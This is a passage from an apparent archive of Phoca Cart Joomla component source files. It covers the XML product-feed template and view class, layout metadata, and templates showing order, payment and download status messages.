$itemUrl = PhocacartRoute::getItemRoute($v->id,
$v->catid, $v->alias, $v->catalias);
$itemUrl = PhocacartRoute::getFullUrl($itemUrl);
$oI['item_url'] =
$l.$this->p['item_url'].$r.$itemUrl.$e.$this->p['item_url'].$r;
}
// IMAGE URL
if ($this->p['item_url_image'] != ''
&& isset($v->image) && $v->image != '') {
$image =
PhocacartImage::getThumbnailName($this->t['pathitem'],
$v->image, 'large');
if (isset($image->rel) && $image->rel !=
'') {
$imageUrl = PhocacartRoute::getFullUrl($image->rel);
$oI['item_url_image'] =
$l.$this->p['item_url_image'].$r.$imageUrl.$e.$this->p['item_url_image'].$r;
}
}
// VIDEO URL
if ($this->p['item_url_video'] != ''
&& isset($v->video) && $v->video != '') {
if (PhocacartUtils::isURLAddress($v->video)) {
$oI['item_url_video'] =
$l.$this->p['item_url_video'].$r.$v->video.$e.$this->p['item_url_video'].$r;
}
}
// CATEGORY
if ($this->p['item_category'] != ''
&& isset($v->cattitle) && $v->cattitle !=
'') {
$oI['item_category'] =
$l.$this->p['item_category'].$r.htmlspecialchars($v->cattitle).$e.$this->p['item_category'].$r;
}
// CATEGORIES
if ($this->p['item_categories'] != ''
&& isset($v->categories) && $v->categories !=
'') {
if ($this->p['category_separator'] ==
'') {
$this->p['category_separator'] = '
';
}
$categories = str_replace('|',
$this->p['category_separator'], $v->categories);
$oI['item_categories'] =
$l.$this->p['item_categories'].$r.htmlspecialchars($categories).$e.$this->p['item_categories'].$r;
}
// CATEGORY FEED
if ($this->p['feed_category'] != ''
&& isset($v->cattitlefeed) && $v->cattitlefeed !=
'') {
$oI['feed_category'] =
$l.$this->p['feed_category'].$r.htmlspecialchars($v->cattitlefeed).$e.$this->p['feed_category'].$r;
}
// CATEGORY TYPE OR PRODUCT CATEGORY TYPE
if ($this->p['item_category_type_feed'] !=
'') {
if (isset($v->type_category_feed) &&
$v->type_category_feed != '') {
// 1) Product - the one you can set in product edit in
first tab
$oI['item_category_type_feed'] =
$l.$this->p['item_category_type_feed'].$r.htmlspecialchars($v->type_category_feed).$e.$this->p['item_category_type_feed'].$r;
} else if (isset($v->feedcategories ) &&
$v->feedcategories != '') {
// 2) Categories - loaded by db - generated by categories
set in Phoca Cart
$v->feedcategories = str_replace('|',
$this->p['category_separator'],
htmlspecialchars($v->feedcategories));
$oI['item_category_type_feed'] =
$l.$this->p['item_category_type_feed'].$r.htmlspecialchars($v->feedcategories).$e.$this->p['item_category_type_feed'].$r;
// Only one category possible e.g. in Google Products, so
this can be customized
//$this->t['feed']categories =
explode('|', $v->feedcategories);
//if (isset($this->t['feed']categories[0])
&& $this->t['feed']categories[0] != '') {
// $oI['item_category_type_feed'] =
$l.$this->p['item_category_type_feed'].$r.htmlspecialchars($this->t['feed']categories[0]).$e.$this->p['item_category_type_feed'].$r;
//}
} else if (isset($v->cattypefeed) &&
$v->cattypefeed != '') {
// 3) Category - if not 2) loaded - the one you can set in
category
$oI['item_category_type_feed'] =
$l.$this->p['item_category_type_feed'].$r.htmlspecialchars($v->cattypefeed).$e.$this->p['item_category_type_feed'].$r;
}
}
// MANUFACTURER
if ($this->p['item_manufacturer'] != ''
&& isset($v->manufacturertitle) &&
$v->manufacturertitle != '') {
$oI['item_manufacturer'] =
$l.$this->p['item_manufacturer'].$r.htmlspecialchars($v->manufacturertitle).$e.$this->p['item_manufacturer'].$r;
}
// STOCK (Product edit - Stock Options - In Stock)
if ($this->p['item_stock'] != '' &&
isset($v->stock) && $v->stock != '') {
$oI['item_stock'] =
$l.$this->p['item_stock'].$r.$v->stock.$e.$this->p['item_stock'].$r;
}
// STOCK DELIVERY_DATE (Product edit - Stock Options - Stock
Status)
if ($this->p['item_delivery_date'] != ''
&& isset($v->stock) && isset($v->min_quantity)
&& isset($v->min_multiple_quantity) &&
isset($v->stockstatus_a_id) && isset($v->stockstatus_n_id) )
{
$stockStatus =
PhocacartStock::getStockStatus((int)$v->stock, (int)$v->min_quantity,
(int)$v->min_multiple_quantity, (int)$v->stockstatus_a_id,
(int)$v->stockstatus_n_id);
//$stockText =
PhocacartStock::getStockStatusOutput($stockStatus);
if (isset($stockStatus['stock_status']) &&
$stockStatus['stock_status'] != '') {
$oI['item_delivery_date'] =
$l.$this->p['item_delivery_date'].$r.htmlspecialchars($stockStatus['stock_status']).$e.$this->p['item_delivery_date'].$r;
}
}
// STOCK DELIVERY_DATE - REAL DATE (Product edit - Stock Options -
Product Delivery Date)
if ($this->p['item_delivery_date_date'] !=
'' && isset($v->delivery_date) &&
$v->delivery_date != '' && $v->delivery_date !=
'0000-00-00 00:00:00') {
$oI['item_delivery_date_date'] =
$l.$this->p['item_delivery_date_date'].$r.$v->delivery_date.$e.$this->p['item_delivery_date_date'].$r;
}
// STOCK DELIVERY_DATE FEED (Stock Status Edit - Title (XML Feed))
if ($this->p['feed_delivery_date'] != ''
&& isset($v->stock) && isset($v->min_quantity)
&& isset($v->min_multiple_quantity) &&
isset($v->stockstatus_a_id) && isset($v->stockstatus_n_id) )
{
$stockStatus =
PhocacartStock::getStockStatus((int)$v->stock, (int)$v->min_quantity,
(int)$v->min_multiple_quantity, (int)$v->stockstatus_a_id,
(int)$v->stockstatus_n_id);
if (isset($stockStatus['stock_status_feed'])
&& $stockStatus['stock_status_feed'] != '') {
$oI['stock_status_feed'] =
$l.$this->p['feed_delivery_date'].$r.htmlspecialchars($stockStatus['stock_status_feed']).$e.$this->p['feed_delivery_date'].$r;
}
}
//
// NEEDS TO BE CUSTOMIZED FOR EACH XML FEED
//
if ($this->p['display_attributes'] == 1 &&
$this->p['item_attribute'] != '' &&
$this->p['item_attribute_name'] != '' &&
$this->p['item_attribute_value'] != '') {
// ATTRIBUTES - BE AWARE TO USER ATTRIBUTES
// RENDERING can take a lot of memory
// THE FORMAT can be not correct
$attributes =
PhocacartAttribute::getAttributesAndOptions((int)$v->id);
$oIA = array();
if (!empty($attributes)) {
foreach ($attributes as $k2 => $v2) {
if (isset($v2->title) && $v2->title !=
'') {
$oIA[] =
$l.$this->p['item_attribute'].$r;
$oIA[] =
$l.$this->p['item_attribute_name'].$r.htmlspecialchars($v2->title).$e.$this->p['item_attribute_name'].$r;
if (!empty($v2->options)) {
$opt = array();
foreach ($v2->options as $k3 => $v3) {
$opt[] = $v3->title;
}
$optText = implode(';', $opt);
$oIA[] =
$l.$this->p['item_attribute_value'].$r.htmlspecialchars($optText).$e.$this->p['item_attribute_value'].$r;
}
$oIA[] =
$e.$this->p['item_attribute'].$r;
}
}
}
$oI['attributes'] = implode("\n", $oIA);
}
// SPECIFICATION
if (!empty($this->p['specification_groups_id'])
&& $this->p['item_specification'] != ''
/*&& $this->p['item_specification_group_name']*/
&& $this->p['item_specification_name'] != ''
&& $this->p['item_specification_value'] !=
'') {
$specifications =
PhocacartSpecification::getSpecificationGroupsAndSpecifications((int)$v->id);
$oIS = array();
if (!empty($specifications)) {
foreach ($specifications as $k2 => $v2) {
if (!empty($v2)) {
$specGroup = array_slice($v2, 0, 1);
$specItems = array_slice($v2, 1);
if (!in_array((int)$k2,
$this->p['specification_groups_id'])) {
// The specification is not selected
continue;
}
/*
* Possible feature move the parameter from feed to
product/feed
if
(isset($paramsFeedA[$feedName]['pcf_param_specification_group_id'])
&&
!empty($paramsFeedA[$feedName]['pcf_param_specification_group_id']))
{
if (!in_array((int)$k2,
$paramsFeedA[$feedName]['pcf_param_specification_group_id'])) {
// The specification is not selected
continue;
}
}
*/
if (!empty($specGroup) &&
!empty($specItems)) {
//$oIS[] = $l .
$this->p['item_specification'] . $r;
//$oIS[] = $l .
$this->p['item_specification_group_name'] . $r .
htmlspecialchars($v2[0]) . $e .
$this->p['item_specification_group_name'] . $r;
foreach ($specItems as $k3 => $v3) {
$oIS[] = $l .
$this->p['item_specification'] . $r;
if (isset($v3['title'])
&& $v3['title'] != '') {
$oIS[] = $l .
$this->p['item_specification_name'] . $r .
htmlspecialchars($v3['title']) . $e .
$this->p['item_specification_name'] . $r;
}
if (isset($v3['value'])
&& $v3['value'] != '') {
$oIS[] = $l .
$this->p['item_specification_value'] . $r .
htmlspecialchars($v3['value']) . $e .
$this->p['item_specification_value'] . $r;
}
$oIS[] = $e .
$this->p['item_specification'] . $r;
}
//$oIS[] = $e .
$this->p['item_specification'] . $r;
}
}
}
}
$oI['specifications'] = implode("\n",
$oIS);
}
// PRODUCT CONDITION
if ($this->p['item_condition'] != ''
&& isset($v->condition)) {
$condition =
PhocacartUtilsSettings::getProductConditionValues($v->condition);
$oI['item_condition'] =
$l.$this->p['item_condition'].$r.htmlspecialchars($condition).$e.$this->p['item_condition'].$r;
}
// PRODUCT REWARD POINTS
if ($this->p['item_reward_points'] != ''
&& isset($v->points_received) &&
(int)$v->points_received > 0) {
$oIRP = array();
if ($this->p['item_reward_points_name'] !=
'' && $this->p['item_reward_points_value']
!= '') {
$oIRP[] =
$l.$this->p['item_reward_points'].$r;
$oIRP[] =
$l.$this->p['item_reward_points_name'].$r.JText::_('COM_PHOCACART_FEED_TXT_PRODUCT_REWARD_POINTS').$e.$this->p['item_reward_points_name'].$r;
$oIRP[] =
$l.$this->p['item_reward_points_value'].$r.(int)$v->points_received.$e.$this->p['item_reward_points_value'].$r;
// Possible RATION value
$oIRP[] =
$e.$this->p['item_reward_points'].$r;
} else {
$oIRP[] =
$l.$this->p['item_reward_points'].$r.(int)$v->points_received.$e.$this->p['item_reward_points'].$r;
}
$oI['reward_points'] = implode("\n",
$oIRP);
}
// PRODUCT TYPE FEED
if ($this->p['item_type_feed'] != ''
&& isset($v->type_feed) && $v->type_feed !=
'') {
$oI['item_type_feed'] =
$l.$this->p['item_type_feed'].$r.htmlspecialchars($v->type_feed).$e.$this->p['item_type_feed'].$r;
}
// PRODUCT - Specific FEED plugin
$oIP = array();
if (!empty($paramsFeedA)) {
foreach ($paramsFeedA as $k => $v) {
if (trim($k) ==
trim($this->t['feed']['feed_plugin'])) {
if (!empty($v)) {
foreach ($v as $k2 => $v2) {
// display items except the parameter items
$pos = strpos($k2, 'pcf_param');
if ($pos !== false) {
continue;
}
if (trim($v2) != '') {
// Some feeds have the same parameters but
we cannot store them under the same name
// so internaly they are stored as e.g.:
EXTRA_MESSAGE{1}, EXTRA_MESSAGE{2}
// in XML the {1} and {2} are removed and
there is only one parameter EXTRA_MESSAGE on different places
$k2 =
preg_replace("/\{[^}]+\}/","",$k2);
$oIP[] =
$l.$k2.$r.htmlspecialchars($v2).$e.$k2.$r;
}
}
}
}
}
}
$oI['params'] .= implode("\n", $oIP);
// PRODUCT - Fixed XML Elements
if ($this->p['item_fixed_elements'] != '')
{
$oI['item_fixed_elements'] =
$this->p['item_fixed_elements'];
}
// PRODUCT END
if (isset($this->t['feed']['item'])
&& $this->t['feed']['item'] != '')
{
$oI['itemend'] =
$e.$this->t['feed']['item'].$r;
}
$o['items'] .= implode("\n", $oI) .
"\n";
}
}
// ROOT END
if (isset($this->t['feed']['root']) &&
$this->t['feed']['root'] != '') {
$o['rootend'] =
$e.$this->t['feed']['root'].$r;
}
// FOOTER
if (isset($this->t['feed']['footer']) &&
$this->t['feed']['footer'] != '') {
$o['footer'] =
$this->t['feed']['footer'];
}
echo implode( "\n", $o );
?>
feed/tmpl/default.xml000064400000001730151165727000010576 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_XML_FEED_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_XML_FEED_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_XML_FEED_LAYOUT</name>
<description>COM_PHOCACART_XML_FEED_LAYOUT_DESC</description>
<fields name="request">
<fieldset name="request"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
<field name="format" section="com_phocacart"
default="xml" type="hidden" />
<field name="id" type="phocacartfeed"
section="com_phocacart" default="0"
label="COM_PHOCACART_FIELD_SELECT_XML_FEED_LABEL"
description="COM_PHOCACART_FIELD_SELECT_XML_FEED_DESC"
required="true" />
<!-- <field name="format" type="text"
section="com_phocacart" default="xml"
label="COM_PHOCACART_FIELD_SELECT_XML_FEED_LABEL"
description="COM_PHOCACART_FIELD_SELECT_XML_FEED_DESC"
required="true" /> -->
</fieldset>
</fields>
</metadata>feed/tmpl/index.html000064400000000054151165727000010423
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>feed/view.xml.php000064400000016600151165727020007742
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die();
jimport('joomla.application.component.view');
class PhocaCartViewFeed extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
function display($tpl = null) {
$app = JFactory::getApplication();
$id = $app->input->get('id', 0, 'int');
$this->t['feed'] = PhocacartFeed::getFeed((int)$id);
if ($this->t['feed']) {
$fP = new JRegistry;
$iP = new JRegistry;
if
(isset($this->t['feed']['feed_params']) &&
$this->t['feed']['feed_params'] != '') {
$fP->loadString($this->t['feed']['feed_params']);
}
if
(isset($this->t['feed']['item_params']) &&
$this->t['feed']['item_params'] != '') {
$iP->loadString($this->t['feed']['item_params']);
}
$this->t['pathitem'] =
PhocacartPath::getPath('productimage');
// Feed Params
$this->p['export_published_only'] =
$fP->get('export_published_only', 1);
$this->p['export_in_stock_only'] =
$fP->get('export_in_stock_only', 0);
$this->p['export_price_only'] =
$fP->get('export_price_only', 1);
$this->p['strip_html_tags_desc'] =
$fP->get('strip_html_tags_desc', 1);
$this->p['item_limit'] =
$fP->get('item_limit', 0);
$this->p['item_ordering'] =
$fP->get('item_ordering', 1);
$this->p['category_ordering'] =
$fP->get('category_ordering', 0);
$this->p['display_attributes'] =
$fP->get('display_attributes', 0);
$this->p['specification_groups_id']=
$fP->get('specification_groups_id', '');
$this->p['category_separator'] =
$fP->get('category_separator', '');
$this->p['load_all_categories'] =
$fP->get('load_all_categories', 0);
$this->p['price_decimals'] =
$fP->get('price_decimals', '');
$this->p['price_including_currency'] =
$fP->get('price_including_currency', 0);
if ($this->p['category_separator'] ==
'\n') {
$this->p['category_separator'] =
"\n";
}
if ($this->p['category_separator'] ==
'\r') {
$this->p['category_separator'] =
"\r";
}
if ($this->p['category_separator'] ==
'\r\n') {
$this->p['category_separator'] =
"\r\n";
}
// Item Params (phocacartfeed.xml, language string,
view.xml.php here defined and conditions below)
$this->p['item_id'] =
$iP->get('item_id', '');
$this->p['item_title'] =
$iP->get('item_title', '');
$this->p['item_title_extended'] =
$iP->get('item_title_extended', '');
$this->p['item_description_short'] =
$iP->get('item_description_short', '');
$this->p['item_description_long'] =
$iP->get('item_description_long', '');
$this->p['item_sku'] =
$iP->get('item_sku', '');
$this->p['item_ean'] =
$iP->get('item_ean', '');
$this->p['item_original_price_with_vat'] =
$iP->get('item_original_price_with_vat', '');
$this->p['item_original_price_without_vat'] =
$iP->get('item_original_price_without_vat', '');
$this->p['item_final_price_with_vat'] =
$iP->get('item_final_price_with_vat', '');
$this->p['item_final_price_without_vat'] =
$iP->get('item_final_price_without_vat', '');
$this->p['item_vat'] =
$iP->get('item_vat', '');
$this->p['item_currency'] =
$iP->get('item_currency', '');
$this->p['item_url_image'] =
$iP->get('item_url_image', '');
$this->p['item_url_video'] =
$iP->get('item_url_video', '');
$this->p['item_category'] =
$iP->get('item_category', '');
$this->p['item_categories'] =
$iP->get('item_categories', '');
$this->p['feed_category'] =
$iP->get('feed_category', '');
$this->p['item_manufacturer'] =
$iP->get('item_manufacturer', '');
$this->p['item_stock'] =
$iP->get('item_stock', '');
$this->p['item_delivery_date'] =
$iP->get('item_delivery_date', ''); // Stock
Status
$this->p['item_delivery_date_date'] =
$iP->get('item_delivery_date_date', '');// Real Date
$this->p['feed_delivery_date'] =
$iP->get('feed_delivery_date', '');
$this->p['item_attribute'] =
$iP->get('item_attribute', '');
$this->p['item_attribute_name'] =
$iP->get('item_attribute_name', '');
$this->p['item_attribute_value'] =
$iP->get('item_attribute_value', '');
$this->p['item_specification'] =
$iP->get('item_specification', '');
$this->p['item_specification_group_name'] =
$iP->get('item_specification_group_name', '');
$this->p['item_specification_name'] =
$iP->get('item_specification_name', '');
$this->p['item_specification_value'] =
$iP->get('item_specification_value', '');
$this->p['item_url'] =
$iP->get('item_url', '');
$this->p['item_condition'] =
$iP->get('item_condition', '');
$this->p['item_reward_points'] =
$iP->get('item_reward_points', '');
$this->p['item_reward_points_name'] =
$iP->get('item_reward_points_name', '');
$this->p['item_reward_points_value'] =
$iP->get('item_reward_points_value', '');
$this->p['item_type_feed'] =
$iP->get('item_type_feed', '');
$this->p['item_category_type_feed'] =
$iP->get('item_category_type_feed', '');
$this->p['item_fixed_elements'] =
$iP->get('item_fixed_elements', '');
/*
// We can find specific feed and customize it for specific
needs
// E.g. Heureka
$this->t['feed']Name = '';
if (isset($this->t['feed']['title'])) {
if
(strpos(strtolower($this->t['feed']['title']),
'heureka') !== false) {
$this->t['feed']Name =
'heureka';
}
}
*/
// Load all categories for a product or only one
// This influences two parameters: Categories and Product
Category Type
$categoriesList = 0;
if ($this->p['load_all_categories'] == 1) {
$categoriesList = 5;
}
// Possible feature - accept languages
$this->t['products'] =
PhocacartProduct::getProducts(0, (int)$this->p['item_limit'],
$this->p['item_ordering'],
$this->p['category_ordering'],
$this->p['export_published_only'],
$this->p['export_in_stock_only'],
$this->p['export_price_only'], $categoriesList);
parent::display($tpl);
}
}
}
?>
index.html000064400000000054151165727020006546 0ustar00<html><body
bgcolor="#FFFFFF"></body></html>info/index.html000064400000000054151165727020007501
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>info/metadata.xml000064400000000325151165727020010007
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<!--<view title="COM_PHOCACART_INFO_GROUP">
<message><![CDATA[COM_PHOCACART_INFO_GROUP_DESC]]></message>
</view>-->
<view hidden="true" />
</metadata>
info/tmpl/default.php000064400000007723151165727020010627 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Plugin\PluginHelper;
defined('_JEXEC') or die();
echo '<div id="ph-pc-info-box"
class="pc-info-view'.$this->p->get(
'pageclass_sfx' ).'">';
echo
PhocacartRenderFront::renderHeader(array(JText::_('COM_PHOCACART_INFO')));
if ( $this->t['info_view_description'] != '') {
echo '<div class="ph-desc">'.
$this->t['info_view_description']. '</div>';
}
switch($this->t['infoaction']) {
case 1:
// ORDER PROCESSED - STANDARD PRODUCTS (ORDER/NO DOWNLOAD)
echo $this->loadTemplate('order_nodownload');
break;
case 2:
// ORDER PROCESSED - DOWNLOADABLE ITEMS (No payment made, display only
information about possible downloads) (ORDER/DOWNLOAD)
echo $this->loadTemplate('order_download');
break;
case 3:
// ORDER PROCESSED - STANDARD PRODUCTS - PAYMENT MADE (PAYMENT/NO
DOWNLOAD)
echo $this->loadTemplate('payment_nodownload');
break;
case 4:
// ORDER PROCESSED - DOWNLOADABLE ITEMS - PAYMENT MADE (Payment made,
link to download could be possible) (PAYMENT/DOWNLOAD)
echo $this->loadTemplate('payment_download');
break;
case 5:
// PAYMENT CANCELED
echo $this->loadTemplate('payment_canceled');
break;
}
// Display Shipping Method Info Description
if (isset($this->t['infodata']['shipping_id'])
&& (int)$this->t['infodata']['shipping_id']
> 0) {
$shippingDescription =
PhocacartShipping::getInfoDescriptionById((int)$this->t['infodata']['shipping_id']);
if ($shippingDescription != '') {
echo '<div
class="ph-info-shipping-description">'.HTMLHelper::_('content.prepare',
$shippingDescription).'</div>';
}
}
// Run shipping method event
if (isset($this->t['infodata']['shipping_method'])
&& $this->t['infodata']['shipping_method']
!= '') {
$pluginShipping = PluginHelper::importPlugin('pcs');
if ($pluginShipping) {
PluginHelper::importPlugin('pcs',
htmlspecialchars(strip_tags($this->t['infodata']['shipping_method'])));
$eventData = array();
$eventData['pluginname'] =
htmlspecialchars(strip_tags($this->t['infodata']['shipping_method']));
$results =
Factory::getApplication()->triggerEvent('PCSonInfoViewDisplayContent',
array($this->t['infodata'], $eventData));
if (isset($results[0]['content']) &&
$results[0]['content'] != '') {
echo '<div
class="ph-info-shipping-content">'.$results[0]['content'].'</div>';
}
}
}
// Display Payment Method Info Description
if (isset($this->t['infodata']['payment_id'])
&& (int)$this->t['infodata']['payment_id']
> 0) {
$paymentDescription =
PhocacartPayment::getInfoDescriptionById((int)$this->t['infodata']['payment_id']);
if ($paymentDescription != '') {
echo '<div
class="ph-info-payment-description">'.HTMLHelper::_('content.prepare',
$paymentDescription).'</div>';
}
}
// Run payment method event
if (isset($this->t['infodata']['payment_method'])
&& $this->t['infodata']['payment_method'] !=
'') {
$pluginPayment = PluginHelper::importPlugin('pcp');
if ($pluginPayment) {
PluginHelper::importPlugin('pcp',
htmlspecialchars(strip_tags($this->t['infodata']['payment_method'])));
$eventData = array();
$eventData['pluginname'] =
htmlspecialchars(strip_tags($this->t['infodata']['payment_method']));
$results =
Factory::getApplication()->triggerEvent('PCPonInfoViewDisplayContent',
array($this->t['infodata'], $eventData));
if (isset($results[0]['content']) &&
$results[0]['content'] != '') {
echo '<div
class="ph-info-payment-content">'.$results[0]['content'].'</div>';
}
}
}
echo '</div>';// end ph-pc-info-box
echo '<div> </div>';
echo PhocacartUtilsInfo::getInfo();
?>
info/tmpl/default.xml000064400000000714151165727020010631 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_INFO_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_INFO_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_INFO_LAYOUT</name>
<description>COM_PHOCACART_INFO_LAYOUT_DESC</description>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
</fieldset>
</fields>
</metadata>info/tmpl/default_order_download.php000064400000001551151165727020013702
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
// ORDER PROCESSED - DOWNLOADABLE ITEMS (No payment made, display only
information about possible downloads) (ORDER/DOWNLOAD)
echo '<div class="alert alert-success">';
if (isset($this->t['infomessage']['order_download'])
&& $this->t['infomessage']['order_download']
!= '') {
echo $this->t['infomessage']['order_download'];
} else {
echo JText::_('COM_PHOCACART_ORDER_SUCCESSFULLY_PROCESSED');
echo '</br>' .
JText::_('COM_PHOCACART_ORDER_PROCESSED_DOWNLOADABLE_ITEMS_ADDITIONAL_INFO');
}
echo '</div>';
?>info/tmpl/default_order_nodownload.php000064400000001431151165727020014234
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
// ORDER PROCESSED - STANDARD PRODUCTS (ORDER/NO DOWNLOAD)
echo '<div class="alert alert-success">';
if
(isset($this->t['infomessage']['order_nodownload'])
&&
$this->t['infomessage']['order_nodownload'] !=
'') {
echo $this->t['infomessage']['order_nodownload'];
} else {
echo JText::_('COM_PHOCACART_ORDER_SUCCESSFULLY_PROCESSED');
echo '</br>' .
JText::_('COM_PHOCACART_ORDER_PROCESSED_ADDITIONAL_INFO');
}
echo '</div>';
?>info/tmpl/default_payment_canceled.php000064400000001353151165727020014173
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
// PAYMENT CANCELED
echo '<div class="alert alert-error">';
if
(isset($this->t['infomessage']['payment_canceled'])
&&
$this->t['infomessage']['payment_canceled'] !=
'') {
echo $this->t['infomessage']['payment_canceled'];
} else {
echo JText::_('COM_PHOCACART_PAYMENT_CANCELED');
echo '</br>' .
JText::_('COM_PHOCACART_ORDER_PAYMENT_CANCELED_ADDITIONAL_INFO');
}
echo '</div>';
?>info/tmpl/default_payment_download.php000064400000002366151165727030014252
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
// ORDER PROCESSED - DOWNLOADABLE ITEMS - PAYMENT MADE (Payment made, link
to download could be possible) (PAYMENT/DOWNLOAD)
// if user is logged in he/she will get the information about the download
link
// if user is a guest - because of security reason we will not display the
download link (by security token),
// user should get it per email
echo '<div class="alert alert-success">';
if
(isset($this->t['infomessage']['payment_download'])
&&
$this->t['infomessage']['payment_download'] !=
'') {
echo $this->t['infomessage']['payment_download'];
} else {
echo
JText::_('COM_PHOCACART_ORDER_AND_PAYMENT_SUCCESSFULLY_PROCESSED');
echo '</br>' .
JText::_('COM_PHOCACART_ORDER_PAYMENT_PROCESSED_DOWNLOADABLE_ITEMS_ADDITIONAL_INFO');
}
echo '</div>';
if ($this->u->id > 0) {
echo '<div><a
href="'.PhocacartRoute::getDownloadRoute().'">'.JText::_('COM_PHOCACART_DOWNLOAD_LINK').'</a></div>';
}
?>info/tmpl/default_payment_nodownload.php000064400000001504151165727030014600
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
// ORDER PROCESSED - STANDARD PRODUCTS - PAYMENT MADE (PAYMENT/NO
DOWNLOAD)
echo '<div class="alert alert-success">';
if
(isset($this->t['infomessage']['payment_nodownload'])
&&
$this->t['infomessage']['payment_nodownload'] !=
'') {
echo
$this->t['infomessage']['payment_nodownload'];
} else {
echo
JText::_('COM_PHOCACART_ORDER_AND_PAYMENT_SUCCESSFULLY_PROCESSED');
echo '</br>' .
JText::_('COM_PHOCACART_ORDER_PAYMENT_PROCESSED_ADDITIONAL_INFO');
}
echo '</div>';
?>info/tmpl/index.html000064400000000054151165727030010456
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>info/view.html.php000064400000003574151165727030010145
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaCartViewInfo extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
protected $u;
protected $s;
function display($tpl = null) {
$document = JFactory::getDocument();
$app = JFactory::getApplication();
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$this->u = PhocacartUser::getUser();
$this->p = $app->getParams();
$this->s = PhocacartRenderStyle::getStyles();
$this->t['info_view_description'] = $this->p->get(
'info_view_description', '' );
$this->t['info_view_description'] =
PhocacartRenderFront::renderArticle($this->t['info_view_description']);
$session = JFactory::getSession();
$this->t['infoaction'] =
$session->get('infoaction', 0, 'phocaCart');
$this->t['infomessage'] =
$session->get('infomessage', array(), 'phocaCart');
$this->t['infodata'] =
$session->get('infodata', array(), 'phocaCart');
$session->set('infoaction', 0, 'phocaCart');
$session->set('infomessage', array(),
'phocaCart');
$session->set('infodata', array(), 'phocaCart');//
order_id, order_token, payment_id, payment_method, shipping_id,
shipping_method, user_id
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadSpec();
$this->_prepareDocument();
parent::display($tpl);
}
protected function _prepareDocument() {
PhocacartRenderFront::prepareDocument($this->document, $this->p,
false, false, JText::_('COM_PHOCACART_INFO'));
}
}
?>
item/index.html000064400000000054151165727030007505
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>item/metadata.xml000064400000000263151165727030010014
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="COM_PHOCACART_ITEM_GROUP">
<message><![CDATA[COM_PHOCACART_ITEM_GROUP_DESC]]></message>
</view>
</metadata>item/tmpl/default.php000064400000106775151165727030010642
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutC = new JLayoutFile('button_compare', null,
array('component' => 'com_phocacart'));
$layoutW = new JLayoutFile('button_wishlist', null,
